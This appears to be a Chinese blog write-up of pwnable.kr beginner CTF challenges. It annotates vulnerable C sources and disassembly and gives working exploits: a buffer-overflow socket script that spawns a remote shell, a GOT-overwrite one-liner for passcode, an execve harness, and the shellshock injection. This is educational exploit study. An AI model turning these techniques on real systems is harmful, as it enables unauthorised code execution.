本文链接:http://blog.csdn.net/u012763794/article/details/51992512
下面的这个地址很多ctf的学习资源都是有推荐的
挑战地址:http://pwnable.kr/play.php
fd
看一下代码
重要函数:read
ssize_t read(int fd,void * buf ,size_t count);
函数说明
read()会把参数fd 所指的文件传送count个字节到buf指针所指的内存中。若参数count为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动。
还有一个就是linux的文件描述符
Integer value | Name | <unistd.h> symbolic constant[1] | <stdio.h> file stream[2] |
---|---|---|---|
0 | Standard input | STDIN_FILENO | stdin |
1 | Standard output | STDOUT_FILENO | stdout |
2 | Standard error | STDERR_FILENO | stderr |
目标是使fd为0,那么我们传进去的第一个参数就是0x1234,即十进制的4660
成功get flag
collision
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
首先要有一个命令行参数,而且长度必须为20
bof
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
只要覆盖key的值为0xcafebabe就可以了
那么最终的利用代码为
# -*-coding:utf8 -*-
import socket
import telnetlib
import struct
# 将32位的整数转化为字符串(小端模式)
def p32(val):
# <:小端模式 L:unsigned long
return struct.pack("<L", val)
def pwn():
# 创建一个TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务器的9000端口(接收的参数是一个元组)
s.connect(("pwnable.kr",9000))
# 目标被填充的地址
target_addr = p32(0xcafebabe)
# 构造payload
payload = 'A' * 52 + target_addr
# 向服务器发送数据
s.sendall(payload + '\n')
# 创建一个telnet来产生一个控制服务器的shell
t = telnetlib.Telnet()
t.sock = s
t.interact()
pwn()
flag
那么直接 upx -d 解一下, 再用ida打开看到了flag
点过去
提交不对,这个只是注释,可能有些字符不可见或者被空格截断了
再用notepad++搜索一下UPX 果然
passcode
这个难道跨度对于我来说有点大,先看看源码
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
先熟悉一下汇编代码吧,反正初学嘛
下面我们可以看到scanf有写取地址符&和没写的区别,有写就是用lea指令,再入栈(最终是栈的地址入栈),没写就直接入栈了(最终是栈地址上对应的值入栈了)
Dump of assembler code for function main:
0x08048665 <+0>: push %ebp
0x08048666 <+1>: mov %esp,%ebp
0x08048668 <+3>: and $0xfffffff0,%esp
0x0804866b <+6>: sub $0x10,%esp
0x0804866e <+9>: movl $0x80487f0,(%esp) ;"Toddler's Secure Login System 1.0 beta.\n"入栈
0x08048675 <+16>: call 0x8048450 <puts@plt> ;调用put函数
0x0804867a <+21>: call 0x8048609 <welcome> ; 调用welcome函数
0x0804867f <+26>: call 0x8048564 <login> ;调用login函数
0x08048684 <+31>: movl $0x8048818,(%esp) ;"Now I can safely trust you that you have credential :)" 入栈
0x0804868b <+38>: call 0x8048450 <puts@plt> ;调用put函数
0x08048690 <+43>: mov $0x0,%eax ;返回值为0
0x08048695 <+48>: leave ;相当于 mov %ebp,%esp pop ebp 这两条指令,用来平衡堆栈
0x08048696 <+49>: ret ;返回
End of assembler dump.
Dump of assembler code for function welcome:
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax ;"enter you name : "
0x08048622 <+25>: mov %eax,(%esp) ;入栈
0x08048625 <+28>: call 0x8048420 <printf@plt> ;printf输出
0x0804862a <+33>: mov $0x80487dd,%eax ;"%100s"的地址
0x0804862f <+38>: lea -0x70(%ebp),%edx ;name局部变量地址
0x08048632 <+41>: mov %edx,0x4(%esp) ;name入栈
0x08048636 <+45>: mov %eax,(%esp) ;"%100s"的地址入栈
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> ;调用scanf函数
0x0804863e <+53>: mov $0x80487e3,%eax ;"Welcome %s!\n"字符串地址
0x08048643 <+58>: lea -0x70(%ebp),%edx ;name的首地址
0x08048646 <+61>: mov %edx,0x4(%esp) ;name首地址入栈
0x0804864a <+65>: mov %eax,(%esp) ;"Welcome %s!\n"字符串入栈
0x0804864d <+68>: call 0x8048420 <printf@plt> ;调用printf函数
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax ;这个应该是跟前面的相对应的吧,暂时不懂什么意思,根据下面的判断应该是跟栈相关的,难道也是堆栈平衡?
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
Dump of assembler code for function login:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
0x0804856a <+6>: mov $0x8048770,%eax ;"enter passcode1 : "地址
0x0804856f <+11>: mov %eax,(%esp) ;入栈
0x08048572 <+14>: call 0x8048420 <printf@plt> ;调用printf
0x08048577 <+19>: mov $0x8048783,%eax ;"%d"的地址
0x0804857c <+24>: mov -0x10(%ebp),%edx ;passcode1
0x0804857f <+27>: mov %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈
0x08048583 <+31>: mov %eax,(%esp) ;"%d"的地址入栈
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> ;调用scanf
0x0804858b <+39>: mov 0x804a02c,%eax ;stdin入栈
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 <fflush@plt> ;fflush(stdin):刷新标准输入缓冲区,把输入缓冲区里的东西丢弃
0x08048598 <+52>: mov $0x8048786,%eax ;"enter passcode2 : "
0x0804859d <+57>: mov %eax,(%esp) ;入栈
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov $0x8048783,%eax ;"%d"
0x080485aa <+70>: mov -0xc(%ebp),%edx ;passcode2
0x080485ad <+73>: mov %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈
0x080485b1 <+77>: mov %eax,(%esp) ;"%d"入栈
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: movl $0x8048799,(%esp) ;"checking..."
0x080485c0 <+92>: call 0x8048450 <puts@plt> ;输出
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp) ;passcode1与0x528e6相比
0x080485cc <+104>: jne 0x80485f1 <login+141> ;不等就跳到登陆失败
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp) ;passcode2与0xcc07c9相比
0x080485d5 <+113>: jne 0x80485f1 <login+141> ;不等也是跳到登陆失败
0x080485d7 <+115>: movl $0x80487a5,(%esp) ;"Login OK!"
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: movl $0x80487af,(%esp) ;"/bin/cat flag"
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave ;平衡堆栈
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp) ;"Login Failed!"
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
通过代码发现,name基址在ebp-0x70, 退出welcome函数后login的栈的基本结构跟welcome一致,ebp-0x10, 那么相差0x70-0x10=0x60,即96个地址,name刚好100个字节,那么我们覆盖name的最后4个字节就可以对passcode1的值进行控制,再加上利用scanf函数,就可以对任意的四字节的地址进行写操作,
python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
其中0804a00是plt表中printf的地址,因为scanf要输入的是%d, 0x080485e3的十进制就是134514147
random
看看代码
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
就是要我们输入的key跟生成的随机数异或后为0xdeadbeef
但我们发现没有设置种子(设置种子也要变化啊),每次生成的值都是一样的
那就好办了,直接跟那个结果异或一下就得出key了
input
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
Stage 1
这题我们一关一关过吧,考的是耐心和编程基础什么的
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
首先参数个数要100个,减去程序本身,就是我们输入99个参数
第二行argv['A']应该跟argv[65]等价的吧,就是我们输入的第10个等于0x00,
那么第三行就是arg[66]个要等于"\x20\x0a\x0d"
这里没什么头绪,只能看别人的,这不可见字符怎么传递到参数中呢,原来linux有个函数execve,在<unistd.h>中
execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数。
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
来编写我们的第一关的程序,此外我们发现/var/mail目录是777,那我们就在这开干吧
#include "stdio.h"
#include "unistd.h"
int main()
{
char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
execve("/home/input/input", argv, NULL);
return 0;
}
传递的参数第一个是程序的路径,后面就是99了,为啥后面加个NULL呢,因为execve参数说明那里是用指针数组传递并以空指针NULL结束
初始化完成后改一下再去传递给input程序就好了,效果如下:
Stage 2
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
这里要从标准输入和标准错误中读取要等于这两,只能跟着人家大神来,据说要用pipe,马上去看了一波,这个linux课上讲过的,忘的差不多了
int pipe(int filedes[2]);
pipe()会建立管道,filedes[0]为管道里的读取端,filedes[1]则为管道的写入端。父子进程可通过此通信
#include "stdio.h"
#include "unistd.h"
#include <stdlib.h>
int main()
{
//Stage 1
char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
//Stage 2
int pipe2stdin[2] = {-1, -1};
int pip2stderr[2] = {-1, -1};
pid_t childpid;
// 创建两个管道
if (pipe(pipe2stdin)<0 || pipe(pip2stderr)<0){
perror("Cannot create the pipe");
exit(1);
}
// 创建子进程
if ((childpid = fork()) < 0) {
perror("Cannot fork");
exit(1);
}
// 判断当前在子进程还是父进程
if (childpid == 0){
/* 子进程 */
// 首先关闭管道的读取端
close(pipe2stdin[0]);
close(pip2stderr[0]);
// 写入
write(pipe2stdin[1], "\x00\x0a\x00\xff", 4);
write(pip2stderr[1], "\x00\x0a\x02\xff", 4);
}else{
/* 父进程 */
// 首先关闭管道的写入端
close(pipe2stdin[1]);
close(pip2stderr[1]);
// 分别读取到stdin和stderr
dup2(pipe2stdin[0], 0);
dup2(pip2stderr[0], 2);
close(pipe2stdin[0]);
close(pip2stderr[0]);
execve("/home/input/input", argv, NULL);
}
return 0;
}
结果:
Stage 3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
这里我们execve("/home/input/input",argv,env); 的第三个参数就用到了
Stage 4
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
FILE* fp = fopen("0x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);
Stage 5
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
// 新建套接字
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
/*接下来设置一些关键参数*/
//AF_INET(又称PF_INET)是IPv4网络协议的套接字类型
saddr.sin_family = AF_INET;
// 监听所有地址:即0.0.0.0
saddr.sin_addr.s_addr = INADDR_ANY;
// 设置监听端口,htons()--"Host to Network Short":主机字节序转化为网络字节序
// atoi把字符串转换成整型数
saddr.sin_port = htons( atoi(argv['C']) );
// 绑定端口(将套接字和指定的端口相连)
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
// 监听 int listen(int sock_fd, int backlog); sock_fd 是socket()函数返回值;backlog指定在请求队列中允许的最大请求数
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
//用于接受客户端的服务请求,成功返回新的套接字描述符,失败返回-1,并置errno。 参数说明: sock_fd是被监听的socket描述符, addr通常是一个指向sockaddr_in变量的指针, addrlen是结构sockaddr_in的长度。
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
//ssize_t recv(int sockfd, void *buff, size_t nbytes, int flags);
//返回读入的字节数,要读入4个字节,并为\xde\xad\xbe\xef
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// Stage 5
// 等待程序前面的东西执行玩
sleep(2);
int sockfd;
struct sockaddr_in server;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0){
perror("Cannot create the socker");
exit(1);
}
// 设置地址和端口,与argv['C']相对应就行
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_port = htons(6666);
// 连接本地的服务器
if (connect(sockfd, (struct sockaddr*) &server, sizeof(server))) {
perror("Problem connecting");
exit(1);
}
printf("Connected\n");
// 向服务器写数据
char buf[4] = "\xde\xad\xbe\xef";
write(sockfd, buf, 4);
close(sockfd);
#include "stdio.h"
#include "unistd.h"
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main()
{
//Stage 1
char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
//Stage 3
char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv['C'] = "6666";
//Stage 2
int pipe2stdin[2] = {-1, -1};
int pip2stderr[2] = {-1, -1};
pid_t childpid;
//Stage 4
FILE *fp = fopen("\x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);
// 创建两个管道
if (pipe(pipe2stdin)<0 || pipe(pip2stderr)<0){
perror("Cannot create the pipe");
exit(1);
}
// 创建子进程
if ((childpid = fork()) < 0) {
perror("Cannot fork");
exit(1);
}
// 判断当前在子进程还是父进程
if (childpid == 0){
/* 父进程 */
// 首先关闭管道的读取端
close(pipe2stdin[0]);
close(pip2stderr[0]);
// 写入
write(pipe2stdin[1], "\x00\x0a\x00\xff", 4);
write(pip2stderr[1], "\x00\x0a\x02\xff", 4);
}else{
/* 子进程 */
// 首先关闭管道的写入端
close(pipe2stdin[1]);
close(pip2stderr[1]);
// 分别读取到stdin和stderr
dup2(pipe2stdin[0], 0);
dup2(pip2stderr[0], 2);
close(pipe2stdin[0]);
close(pip2stderr[0]);
execve("/home/input/input", argv, env);
}
// Stage 5
// 等待程序前面的东西执行玩
sleep(2);
int sockfd;
struct sockaddr_in server;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0){
perror("Cannot create the socker");
exit(1);
}
// 设置地址和端口,与argv['C']相对应就行
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_port = htons(6666);
// 连接本地的服务器
if (connect(sockfd, (struct sockaddr*) &server, sizeof(server))){
perror("Problem connecting");
exit(1);
}
printf("Connected\n");
// 向服务器写数据
char buf[4] = "\xde\xad\xbe\xef";
write(sockfd, buf, 4);
close(sockfd);
return 0;
}
leg
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
通过看代码,我们只要保证我们的输入的key等于那三个函数的返回值之和就可以了,
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
pc寄存器,直觉是指向下一条指令的地址啊,查了一下
由于上面的指令都是四字节的,看地址就知道了
所以判断是arm模式,那么pc就是当前指令地址+8了
那么key1就是 0x00008cdc + 8 = 0x00008ce4
再看key2
跳转地址最低位( lsb ) 为0表示 arm 指令;最低位为1表示thumb指令。
0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6那么这样就使r6最低位为1,那么就转化为thum模式
那么pc就是当前地址加4了
就是 0x00008d04 + 4 +4 = 0x00008d0c
最后看key3
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
所以key3的返回值就是0x00008d80
那么最终
mistake
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
程序就是首先打开password文件,睡眠当前时间跟20取余,跟着就读文件,跟着要我们输入密码,每个字符跟1一会一下,最后就判断是否跟文件中的一致了
题目的提示是优先级
<pre name="code" class="cpp">if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
=号的优先级小于<,所以fd的值为0,
下面这里就会重标准输入中读取了
len=read(fd,pw_buf,PW_LEN)
那么就简单了,我们输入1,异或后就是0
shellshock
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
这个代码相对较短啊,看题目是考察破壳漏洞(bash漏洞),今天有个推送有说
据说是这样的() { :;}; 被当做函数了,{:;};是空函数体,echo vulnerable是注入代码, bash的-c参数就是执行命令
试了一下,漏洞存在,注意是当前目录的bash
那么中间的代码我们就可以控制了,这里我们利用shellshock,因为这里设置了euid和egid
那么这个进程就有权限去读取flag了
参考:
http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html
本文链接:http://blog.csdn.net/u012763794/article/details/51992512